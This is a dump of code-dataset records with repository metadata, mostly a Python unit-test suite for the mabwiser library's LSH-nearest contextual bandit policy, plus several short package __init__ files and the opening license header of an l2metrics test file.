| 0.072165
| false
| 0
| 0.020619
| 0.030928
| 0.139175
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
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| 0
| 0
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| 0
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| 0
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| null | 0
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| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
9185605287a1a25efabcd378f5db52d79b92e03e
| 134
|
py
|
Python
|
src/ostorlab/cli/scan/run/__init__.py
|
bbhunter/ostorlab
|
968fe4e5b927c0cd159594c13b73f95b71150154
|
[
"Apache-2.0"
] | 113
|
2022-02-21T09:30:14.000Z
|
2022-03-31T21:54:26.000Z
|
src/ostorlab/cli/scan/run/__init__.py
|
bbhunter/ostorlab
|
968fe4e5b927c0cd159594c13b73f95b71150154
|
[
"Apache-2.0"
] | 2
|
2022-02-25T10:56:55.000Z
|
2022-03-24T13:08:06.000Z
|
src/ostorlab/cli/scan/run/__init__.py
|
bbhunter/ostorlab
|
968fe4e5b927c0cd159594c13b73f95b71150154
|
[
"Apache-2.0"
] | 20
|
2022-02-28T14:25:04.000Z
|
2022-03-30T23:01:11.000Z
|
"""Module for sub-command of the command scan: run."""
from ostorlab.cli.scan.run import run
from ostorlab.cli.scan.run import assets
| 33.5
| 54
| 0.768657
| 23
| 134
| 4.478261
| 0.565217
| 0.203884
| 0.291262
| 0.349515
| 0.601942
| 0.601942
| 0.601942
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| 134
| 3
| 55
| 44.666667
| 0.872881
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| 1
| 0
|
0
| 8
|
91cf4214c152ea9863259998d79ab9b313e64338
| 77
|
py
|
Python
|
PaddleCV/tracking/pytracking/tracker/siamfc/__init__.py
|
suytingwan/models
|
ccdbfe77d071cc19b55fb9f4b738912e35d982ef
|
[
"Apache-2.0"
] | 5
|
2021-09-28T13:28:01.000Z
|
2021-12-21T07:25:44.000Z
|
PaddleCV/tracking/pytracking/tracker/siamfc/__init__.py
|
suytingwan/models
|
ccdbfe77d071cc19b55fb9f4b738912e35d982ef
|
[
"Apache-2.0"
] | 1
|
2020-07-02T03:05:00.000Z
|
2020-07-02T03:05:00.000Z
|
PaddleCV/tracking/pytracking/tracker/siamfc/__init__.py
|
suytingwan/models
|
ccdbfe77d071cc19b55fb9f4b738912e35d982ef
|
[
"Apache-2.0"
] | 4
|
2021-08-11T08:25:10.000Z
|
2021-10-16T07:41:59.000Z
|
from .siamfc import SiamFC
def get_tracker_class():
return SiamFC
| 12.833333
| 27
| 0.701299
| 10
| 77
| 5.2
| 0.8
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| 0.246753
| 77
| 5
| 28
| 15.4
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|
0
| 7
|
37fac99bd3f39690e1592893e02c93c8125b11e1
| 88
|
py
|
Python
|
apiser/05/src/views/__init__.py
|
hyhlinux/demo_vue
|
cf61d0ba21cce93b04951076c8c23c0fe693bb5b
|
[
"Apache-2.0"
] | null | null | null |
apiser/05/src/views/__init__.py
|
hyhlinux/demo_vue
|
cf61d0ba21cce93b04951076c8c23c0fe693bb5b
|
[
"Apache-2.0"
] | 2
|
2022-02-10T12:00:22.000Z
|
2022-03-02T02:31:40.000Z
|
apiser/05/src/views/__init__.py
|
hyhlinux/demo_vue
|
cf61d0ba21cce93b04951076c8c23c0fe693bb5b
|
[
"Apache-2.0"
] | null | null | null |
from .rss_json import json_bp
from .rss_html import html_bp
from .rss_api import api_bp
| 22
| 29
| 0.829545
| 18
| 88
| 3.722222
| 0.388889
| 0.313433
| 0.268657
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| 0.136364
| 88
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| 30
| 29.333333
| 0.881579
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|
0
| 7
|
532288139bd468f81c8f21bdb0179275d642c173
| 30,647
|
py
|
Python
|
tests/test_lshnearest.py
|
jaywonchung/mabwiser
|
805326a99213f94a6e813530cebf0c8a0f96a2d1
|
[
"Apache-2.0"
] | null | null | null |
tests/test_lshnearest.py
|
jaywonchung/mabwiser
|
805326a99213f94a6e813530cebf0c8a0f96a2d1
|
[
"Apache-2.0"
] | null | null | null |
tests/test_lshnearest.py
|
jaywonchung/mabwiser
|
805326a99213f94a6e813530cebf0c8a0f96a2d1
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
import numpy as np
from mabwiser.mab import MAB, LearningPolicy, NeighborhoodPolicy
from mabwiser.approximate import _LSHNearest
from tests.test_base import BaseTest
class LSHNearestTest(BaseTest):
def test_hash_function(self):
seed = 11
n_dimensions = 5
n_tables = 5
table_to_plane = {i: [] for i in range(n_tables)}
rng = np.random.RandomState(seed)
contexts = np.array([[rng.rand() for _ in range(7)] for _ in range(10)])
table_to_plane = {i: rng.standard_normal(size=(contexts.shape[1],
n_dimensions))
for i in table_to_plane.keys()}
hash_lists = []
for k in table_to_plane.keys():
hashes = _LSHNearest.get_context_hash(contexts, table_to_plane[k])
hash_lists.append(list(hashes))
self.assertListEqual(hash_lists[0], [22, 14, 11, 14, 18, 9, 6, 7, 14, 11])
self.assertListEqual(hash_lists[1], [28, 29, 21, 7, 20, 28, 4, 28, 28, 20])
self.assertListEqual(hash_lists[2], [3, 19, 19, 18, 19, 19, 19, 19, 19, 19])
self.assertListEqual(hash_lists[3], [1, 1, 9, 16, 1, 11, 1, 7, 3, 1])
self.assertListEqual(hash_lists[4], [18, 16, 20, 26, 18, 19, 20, 16, 16, 16])
def test_hash_function2(self):
seed = 11
n_dimensions = 5
n_tables = 1
table_to_plane = {i: [] for i in range(n_tables)}
rng = np.random.RandomState(seed)
contexts = np.array([[1, 1, 1, 1, 1, 1, 1], # Expected same hash
[1, 0.9, 1, 1, 1, 1, 0.9], # Expected same hash
[1, 1, 1, 1, 1, 1, 0], # Expected same hash
[-1, 0, 1, 0, -1, 0, 0] # Expected different hash
])
table_to_plane = {i: rng.standard_normal(size=(contexts.shape[1],
n_dimensions))
for i in table_to_plane.keys()}
hash_lists = []
for k in table_to_plane.keys():
hashes = _LSHNearest.get_context_hash(contexts, table_to_plane[k])
hash_lists.append(list(hashes))
self.assertListEqual(hash_lists[0], [5, 5, 5, 14])
def test_tables(self):
seed = 11
n_dimensions = 5
n_tables = 5
rng = np.random.default_rng(seed)
contexts = np.array([[rng.random() for _ in range(7)] for _ in range(10)])
decisions = np.array([rng.integers(0, 2) for _ in range(10)])
rewards = np.array([rng.random() for _ in range(10)])
lsh = MAB(arms=[0, 1], learning_policy=LearningPolicy.Softmax(),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions, n_tables),
seed=seed)
for i in range(n_tables):
self.assertListEqual([], lsh._imp.table_to_plane[i])
lsh.fit(decisions, rewards, contexts)
self.assertListAlmostEqual(list(lsh._imp.table_to_plane[0][0]),
[0.03419276725318417, 1.3597475403099617, 1.2247210785859324,
-0.5103070767876675, -0.2979695111064471])
self.assertListEqual(list(lsh._imp.table_to_hash_to_index[0].keys()), [0, 1, 2, 3, 7, 11])
self.assertListEqual(lsh._imp.table_to_hash_to_index[0][1], [2, 3])
self.assertListEqual(lsh._imp.table_to_hash_to_index[0][14], [])
def test_partial_fit_indices(self):
seed = 11
n_dimensions = 5
n_tables = 5
rng = np.random.RandomState(seed)
contexts = np.array([[rng.rand() for _ in range(7)] for _ in range(10)])
decisions = np.array([rng.randint(0, 2) for _ in range(10)])
rewards = np.array([rng.rand() for _ in range(10)])
lsh = MAB(arms=[0, 1], learning_policy=LearningPolicy.Softmax(),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions, n_tables),
seed=seed)
lsh.fit(decisions, rewards, contexts)
contexts2 = np.array([[rng.rand() for _ in range(7)] for _ in range(10)])
decisions2 = np.array([rng.randint(0, 2) for _ in range(10)])
rewards2 = np.array([rng.rand() for _ in range(10)])
lsh.partial_fit(decisions2, rewards2, contexts2)
self.assertListEqual(lsh._imp.table_to_hash_to_index[0][4], [])
self.assertListEqual(lsh._imp.table_to_hash_to_index[0][12], [])
def test_greedy0_d2(self):
arms, mab = self.predict(arms=[1, 2, 3, 4],
decisions=[1, 1, 1, 2, 2, 3, 3, 3, 3, 3],
rewards=[0, 1, 1, 0, 0, 0, 0, 1, 1, 1],
learning_policy=LearningPolicy.EpsilonGreedy(epsilon=0),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=2),
context_history=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0],
[0, 1, 4, 3, 5], [0, 1, 2, 4, 5], [1, 2, 1, 1, 3],
[0, 2, 1, 0, 0]],
contexts=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1]],
seed=123456,
num_run=1,
is_predict=True)
self.assertListEqual(arms, [1, 3])
def test_greedy0_d2_single_test(self):
arms, mab = self.predict(arms=[1, 2, 3, 4],
decisions=[1, 1, 1, 2, 2, 3, 3, 3, 3, 3],
rewards=[0, 1, 1, 0, 0, 0, 0, 1, 1, 1],
learning_policy=LearningPolicy.EpsilonGreedy(epsilon=0),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=2),
context_history=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0],
[0, 1, 4, 3, 5], [0, 1, 2, 4, 5], [1, 2, 1, 1, 3],
[0, 2, 1, 0, 0]],
contexts=[[0, 1, 2, 3, 5]],
seed=123456,
num_run=1,
is_predict=True)
self.assertEqual(arms, 1)
def test_greedy0_d2_single_list(self):
arms, mab = self.predict(arms=[1, 2, 3, 4],
decisions=[1, 1, 1, 2, 2, 3, 3, 3, 3, 3],
rewards=[0, 1, 1, 0, 0, 0, 0, 1, 1, 1],
learning_policy=LearningPolicy.EpsilonGreedy(epsilon=0),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=2),
context_history=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0],
[0, 1, 4, 3, 5], [0, 1, 2, 4, 5], [1, 2, 1, 1, 3],
[0, 2, 1, 0, 0]],
contexts=[[0, 1, 2, 3, 5]],
seed=123456,
num_run=1,
is_predict=True)
self.assertEqual(arms, 1)
def test_greedy0_d2_exps(self):
exps, mab = self.predict(arms=[1, 2, 3, 4],
decisions=[1, 1, 1, 2, 2, 3, 3, 3, 3, 3],
rewards=[0, 1, 1, 0, 0, 0, 0, 1, 1, 1],
learning_policy=LearningPolicy.EpsilonGreedy(epsilon=0),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=2),
context_history=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0],
[0, 1, 4, 3, 5], [0, 1, 2, 4, 5], [1, 2, 1, 1, 3],
[0, 2, 1, 0, 0]],
contexts=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1]],
seed=123456,
num_run=1,
is_predict=False)
self.assertDictEqual(exps[0], {1: 0.6666666666666666, 2: 0.0, 3: 0.6, 4: 0})
self.assertDictEqual(exps[1], {1: 0.6666666666666666, 2: 0.0, 3: 0.75, 4: 0})
def test_greedy0_d5(self):
arms, mab = self.predict(arms=[1, 2, 3, 4],
decisions=[1, 1, 1, 2, 2, 3, 3, 3, 3, 3],
rewards=[0, 0, 0, 1, 1, 0, 0, 1, 1, 1],
learning_policy=LearningPolicy.EpsilonGreedy(epsilon=0),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=5),
context_history=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 4, 1, 1], [0, 0, 0, 0, 0],
[0, 5, 4, 3, 0], [0, 1, 5, 4, 5], [1, 2, 1, 1, 3],
[0, 2, 1, 0, 0]],
contexts=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1]],
seed=123456,
num_run=1,
is_predict=True)
self.assertListEqual(arms, [2, 2])
def test_greedy1_d2(self):
arms, mab = self.predict(arms=[1, 2, 3, 4],
decisions=[1, 1, 1, 2, 2, 3, 3, 3, 3, 3],
rewards=[0, 1, 1, 0, 0, 0, 0, 1, 1, 1],
learning_policy=LearningPolicy.EpsilonGreedy(epsilon=1.0),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=2),
context_history=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0],
[0, 1, 4, 3, 5], [0, 1, 2, 4, 5], [1, 2, 1, 1, 3],
[0, 2, 1, 0, 0]],
contexts=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1]],
seed=123456,
num_run=1,
is_predict=True)
self.assertListEqual(arms, [3, 4])
def test_thompson_d2(self):
arms, mab = self.predict(arms=[1, 2, 3, 4],
decisions=[1, 1, 1, 2, 2, 3, 3, 3, 3, 3],
rewards=[0, 1, 1, 0, 0, 0, 0, 1, 1, 1],
learning_policy=LearningPolicy.ThompsonSampling(),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=2),
context_history=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0],
[0, 1, 4, 3, 5], [0, 1, 2, 4, 5], [1, 2, 1, 1, 3],
[0, 2, 1, 0, 0]],
contexts=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1]],
seed=123456,
num_run=1,
is_predict=True)
self.assertListEqual(arms, [3, 1])
def test_ucb_d2(self):
arms, mab = self.predict(arms=[1, 2, 3, 4],
decisions=[1, 1, 1, 2, 2, 3, 3, 3, 3, 3],
rewards=[0, 1, 1, 0, 0, 0, 0, 1, 1, 1],
learning_policy=LearningPolicy.UCB1(alpha=1),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=2),
context_history=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0],
[0, 1, 4, 3, 5], [0, 1, 2, 4, 5], [1, 2, 1, 1, 3],
[0, 2, 1, 0, 0]],
contexts=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1]],
seed=123456,
num_run=1,
is_predict=True)
self.assertListEqual(arms, [1, 1])
def test_softmax_d2(self):
arms, mab = self.predict(arms=[1, 2, 3, 4],
decisions=[1, 1, 1, 2, 2, 3, 3, 3, 3, 3],
rewards=[0, 1, 1, 0, 0, 0, 0, 1, 1, 1],
learning_policy=LearningPolicy.Softmax(tau=1),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=2),
context_history=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0],
[0, 1, 4, 3, 5], [0, 1, 2, 4, 5], [1, 2, 1, 1, 3],
[0, 2, 1, 0, 0]],
contexts=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1]],
seed=123456,
num_run=1,
is_predict=True)
self.assertListEqual(arms, [1, 1])
def test_no_neighbors_hash(self):
contexts = [[0, -1, -2, -3, -5], [-1, -1, -1, -1, -1], [0, -1, -2, -3, -5], [-1, -1, -1, -1, -1],
[0, -1, -2, -3, -5]]
arms, mab = self.predict(arms=[1, 2, 3, 4],
decisions=[1, 1, 1, 2, 2, 2],
rewards=[10, 10, 10, -10, -10, -10],
learning_policy=LearningPolicy.EpsilonGreedy(epsilon=0),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=20, n_tables=1),
context_history=[[1, 1, 2, 3, 5], [1, 2, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0]],
contexts=contexts,
seed=7,
num_run=1,
is_predict=True)
hashes = mab._imp.get_context_hash(np.asarray(contexts), mab._imp.table_to_plane[0])
for h in hashes:
self.assertEqual(len(mab._imp.table_to_hash_to_index[0][h]), 0)
arms, mab = self.predict(arms=[1, 2, 3, 4],
decisions=[1, 1, 1, 2, 2, 2],
rewards=[10, 10, 10, -10, -10, -10],
learning_policy=LearningPolicy.EpsilonGreedy(epsilon=0),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=20, n_tables=1),
context_history=[[1, 1, 2, 3, 5], [1, 2, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0]],
contexts=contexts,
seed=12,
num_run=1,
is_predict=True)
hashes = mab._imp.get_context_hash(np.asarray(contexts), mab._imp.table_to_plane[0])
for h in hashes:
self.assertEqual(len(mab._imp.table_to_hash_to_index[0][h]), 0)
def test_no_neighbors(self):
arms, mab = self.predict(arms=[1, 2, 3, 4],
decisions=[1, 1, 1, 2, 2, 2],
rewards=[10, 10, 10, -10, -10, -10],
learning_policy=LearningPolicy.EpsilonGreedy(epsilon=0),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=20, n_tables=1),
context_history=[[1, 1, 2, 3, 5], [1, 2, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0]],
contexts=[[0, -1, -2, -3, -5], [-1, -1, -1, -1, -1], [0, -1, -2, -3, -5], [-1, -1, -1, -1, -1],
[0, -1, -2, -3, -5]],
seed=7,
num_run=1,
is_predict=True)
self.assertListEqual(arms, [4, 3, 4, 3, 4])
arms, mab = self.predict(arms=[1, 2, 3, 4],
decisions=[1, 1, 1, 2, 2, 2],
rewards=[10, 10, 10, -10, -10, -10],
learning_policy=LearningPolicy.EpsilonGreedy(epsilon=0),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=20, n_tables=1),
context_history=[[1, 1, 2, 3, 5], [1, 2, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0]],
contexts=[[0, -1, -2, -3, -5], [-1, -1, -1, -1, -1], [0, -1, -2, -3, -5], [-1, -1, -1, -1, -1],
[0, -1, -2, -3, -5]],
seed=12,
num_run=1,
is_predict=True)
self.assertListEqual(arms, [3, 3, 1, 3, 2])
def test_no_neighbors_expectations(self):
exp, mab = self.predict(arms=[1, 2, 3],
decisions=[1, 1, 1, 2, 2, 2],
rewards=[10, 10, 10, -10, -10, -10],
learning_policy=LearningPolicy.EpsilonGreedy(epsilon=0),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=25),
context_history=[[1, 1, 2, 3, 5], [1, 2, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0]],
contexts=[[0, -1, -2, -3, -5], [-1, -1, -1, -1, -1]],
seed=7,
num_run=1,
is_predict=False)
for index, row in enumerate(exp):
for key in row.keys():
self.assertIs(np.nan, row[key])
exp, mab = self.predict(arms=[1, 2, 3],
decisions=[1, 1, 1, 2, 2, 2],
rewards=[10, 10, 10, -10, -10, -10],
learning_policy=LearningPolicy.EpsilonGreedy(epsilon=0),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=25),
context_history=[[1, 1, 2, 3, 5], [1, 2, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0]],
contexts=[[0, -1, -2, -3, -5], [-1, -1, -1, -1, -1]],
seed=7,
num_run=1,
is_predict=False)
for index, row in enumerate(exp):
for key in row.keys():
self.assertIs(np.nan, row[key])
def test_partial_fit_greedy0_d2(self):
arms, mab = self.predict(arms=[1, 2, 3, 4],
decisions=[1, 1, 1, 2, 2, 3, 3, 3, 3, 3],
rewards=[0, 1, 1, 0, 0, 0, 0, 1, 1, 1],
learning_policy=LearningPolicy.EpsilonGreedy(epsilon=0),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=2),
context_history=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0],
[0, 1, 4, 3, 5], [0, 1, 2, 4, 5], [1, 2, 1, 1, 3],
[0, 2, 1, 0, 0]],
contexts=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1]],
seed=123456,
num_run=1,
is_predict=True)
self.assertListEqual(arms, [1, 3])
self.assertEqual(len(mab._imp.decisions), 10)
self.assertEqual(len(mab._imp.rewards), 10)
self.assertEqual(len(mab._imp.contexts), 10)
self.assertEqual(np.ndim(mab._imp.decisions), 1)
decisions2 = [1, 2, 3]
rewards2 = [1, 1, 1]
context_history2 = [[0, 1, 2, 3, 5], [1, 1, 1, 1, 1], [0, 0, 1, 0, 0]]
mab.partial_fit(decisions2, rewards2, context_history2)
self.assertEqual(len(mab._imp.decisions), 13)
self.assertEqual(len(mab._imp.rewards), 13)
self.assertEqual(len(mab._imp.contexts), 13)
self.assertEqual(np.ndim(mab._imp.decisions), 1)
def test_partial_fit_thompson_thresholds(self):
arm_to_threshold = {1: 1, 2: 5, 3: 2, 4: 3}
def binarize(arm, reward):
return reward >= arm_to_threshold[arm]
arms, mab = self.predict(arms=[1, 2, 3, 4],
decisions=[1, 1, 1, 2, 2, 3, 3, 3, 3, 3],
rewards=[0, 1, 7, 0, 1, 9, 0, 2, 6, 11],
learning_policy=LearningPolicy.ThompsonSampling(binarize),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=2),
context_history=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0],
[0, 1, 4, 3, 5], [0, 1, 2, 4, 5], [1, 2, 1, 1, 3],
[0, 2, 1, 0, 0]],
contexts=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1]],
seed=123456,
num_run=1,
is_predict=True)
self.assertTrue(mab._imp.lp.is_contextual_binarized)
self.assertListEqual(arms, [3, 1])
self.assertEqual(len(mab._imp.decisions), 10)
self.assertEqual(len(mab._imp.rewards), 10)
self.assertEqual(len(mab._imp.contexts), 10)
self.assertEqual(np.ndim(mab._imp.decisions), 1)
self.assertTrue(mab._imp.rewards.all() in [0, 1])
decisions2 = [1, 2, 3]
rewards2 = [11, 1, 6]
context_history2 = [[0, 1, 2, 3, 5], [1, 1, 1, 1, 1], [0, 0, 1, 0, 0]]
mab.partial_fit(decisions2, rewards2, context_history2)
self.assertEqual(len(mab._imp.decisions), 13)
self.assertEqual(len(mab._imp.rewards), 13)
self.assertEqual(len(mab._imp.contexts), 13)
self.assertEqual(np.ndim(mab._imp.decisions), 1)
self.assertTrue(mab._imp.rewards.all() in [0, 1])
def test_fit_twice_thompson_thresholds(self):
arm_to_threshold = {1: 1, 2: 5, 3: 2, 4: 3}
def binarize(arm, reward):
return reward >= arm_to_threshold[arm]
arms, mab = self.predict(arms=[1, 2, 3, 4],
decisions=[1, 1, 1, 2, 2, 3, 3, 3, 3, 3],
rewards=[0, 1, 7, 0, 1, 9, 0, 2, 6, 11],
learning_policy=LearningPolicy.ThompsonSampling(binarize),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=2),
context_history=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0],
[0, 1, 4, 3, 5], [0, 1, 2, 4, 5], [1, 2, 1, 1, 3],
[0, 2, 1, 0, 0]],
contexts=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1]],
seed=123456,
num_run=1,
is_predict=True)
self.assertTrue(mab._imp.lp.is_contextual_binarized)
self.assertListEqual(arms, [3, 1])
self.assertEqual(len(mab._imp.decisions), 10)
self.assertEqual(len(mab._imp.rewards), 10)
self.assertEqual(len(mab._imp.contexts), 10)
self.assertEqual(np.ndim(mab._imp.decisions), 1)
self.assertTrue(mab._imp.rewards.all() in [0, 1])
decisions2 = [1, 2, 3]
rewards2 = [11, 1, 6]
context_history2 = [[0, 1, 2, 3, 5], [1, 1, 1, 1, 1], [0, 0, 1, 0, 0]]
mab.fit(decisions2, rewards2, context_history2)
self.assertEqual(len(mab._imp.decisions), 3)
self.assertEqual(len(mab._imp.rewards), 3)
self.assertEqual(len(mab._imp.contexts), 3)
self.assertEqual(np.ndim(mab._imp.decisions), 1)
self.assertTrue(mab._imp.rewards.all() in [0, 1])
def test_add_arm(self):
arms, mab = self.predict(arms=[1, 2, 3, 4],
decisions=[1, 1, 1, 2, 2, 3, 3, 3, 3, 3],
rewards=[0, 1, 1, 0, 0, 0, 0, 1, 1, 1],
learning_policy=LearningPolicy.EpsilonGreedy(epsilon=0),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=2),
context_history=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0],
[0, 1, 4, 3, 5], [0, 1, 2, 4, 5], [1, 2, 1, 1, 3],
[0, 2, 1, 0, 0]],
contexts=[[0, 1, 2, 3, 5], [1, 1, 1, 1, 1]],
seed=123456,
num_run=1,
is_predict=True)
mab.add_arm(5)
self.assertTrue(5 in mab.arms)
self.assertTrue(5 in mab._imp.arms)
self.assertTrue(5 in mab._imp.lp.arms)
self.assertTrue(5 in mab._imp.lp.arm_to_expectation.keys())
def test_greedy0_no_nhood_predict_random(self):
# 2nd, 3rd arm has bad rewards should not be selected
# Use small neighborhood size to force to no nhood
arms, mab = self.predict(arms=[1, 2, 3],
decisions=[1, 1, 1, 2, 2, 2],
rewards=[10, 10, 10, -10, -10, -10],
learning_policy=LearningPolicy.EpsilonGreedy(epsilon=0),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=25),
context_history=[[1, 1, 2, 3, 5], [1, 2, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0]],
contexts=[[0, -1, -2, -3, -5], [-1, -1, -1, -1, -1]],
seed=7,
num_run=2,
is_predict=True)
# 3rd arm was never seen but picked up by random neighborhood in both tests
self.assertListEqual(arms[0], [3, 3])
self.assertListEqual(arms[1], [1, 1])
def test_greedy0_no_nhood_predict_weighted(self):
# 2nd, 3rd arm has bad rewards should not be selected
# Use small neighborhood size to force to no nhoods
arms, mab = self.predict(arms=[1, 2, 3],
decisions=[1, 1, 1, 2, 2, 2],
rewards=[10, 10, 10, -10, -10, -10],
learning_policy=LearningPolicy.EpsilonGreedy(epsilon=0),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(
n_dimensions=25, no_nhood_prob_of_arm=[0, 0.8, 0.2]),
context_history=[[1, 1, 2, 3, 5], [1, 2, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0]],
contexts=[[0, -1, -2, -3, -5], [-1, -1, -1, -1, -1]],
seed=7,
num_run=2,
is_predict=True)
# 2nd arm is weighted highly but 3rd is picked too
self.assertListEqual(arms[0], [3, 2])
self.assertListEqual(arms[1], [2, 2])
def test_greedy0_no_nhood_expectation_nan(self):
# 2nd, 3rd arm has bad rewards should not be selected
# Use small neighborhood size to force to no nhoods
exps, mab = self.predict(arms=[1, 2, 3],
decisions=[1, 1, 1, 2, 2, 2],
rewards=[10, 10, 10, -10, -10, -10],
learning_policy=LearningPolicy.EpsilonGreedy(epsilon=0),
neighborhood_policy=NeighborhoodPolicy.LSHNearest(n_dimensions=25),
context_history=[[1, 1, 2, 3, 5], [1, 2, 1, 1, 1], [0, 0, 1, 0, 0],
[0, 2, 2, 3, 5], [1, 3, 1, 1, 1], [0, 0, 0, 0, 0]],
contexts=[[0, -1, -2, -3, -5], [-1, -1, -1, -1, -1]],
seed=7,
num_run=1,
is_predict=False)
# When there are no neighborhoods, expectations will be nan
self.assertDictEqual(exps[0], {1: np.nan, 2: np.nan, 3: np.nan})
self.assertDictEqual(exps[1], {1: np.nan, 2: np.nan, 3: np.nan})
| 55.41953
| 128
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| 30,647
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0
| 7
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533ceee253d555deb7e8ce4e6a8584795be3e077
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|
py
|
Python
|
tests/test_metrics_report.py
|
darpa-l2m/l2metrics
|
5df0731646582aabd5072e30a1346bd19151747d
|
[
"MIT"
] | 4
|
2022-01-29T09:26:54.000Z
|
2022-03-04T16:39:02.000Z
|
tests/test_metrics_report.py
|
darpa-l2m/l2metrics
|
5df0731646582aabd5072e30a1346bd19151747d
|
[
"MIT"
] | 9
|
2022-02-04T15:39:56.000Z
|
2022-03-22T13:56:30.000Z
|
tests/test_metrics_report.py
|
darpa-l2m/l2metrics
|
5df0731646582aabd5072e30a1346bd19151747d
|
[
"MIT"
] | 1
|
2022-03-22T18:55:41.000Z
|
2022-03-22T18:55:41.000Z
|
"""
Copyright © 2021-2022 The Johns Hopkins University Applied Physics Laboratory LLC
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to
deal in the Software without restriction, including without limitation the
rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
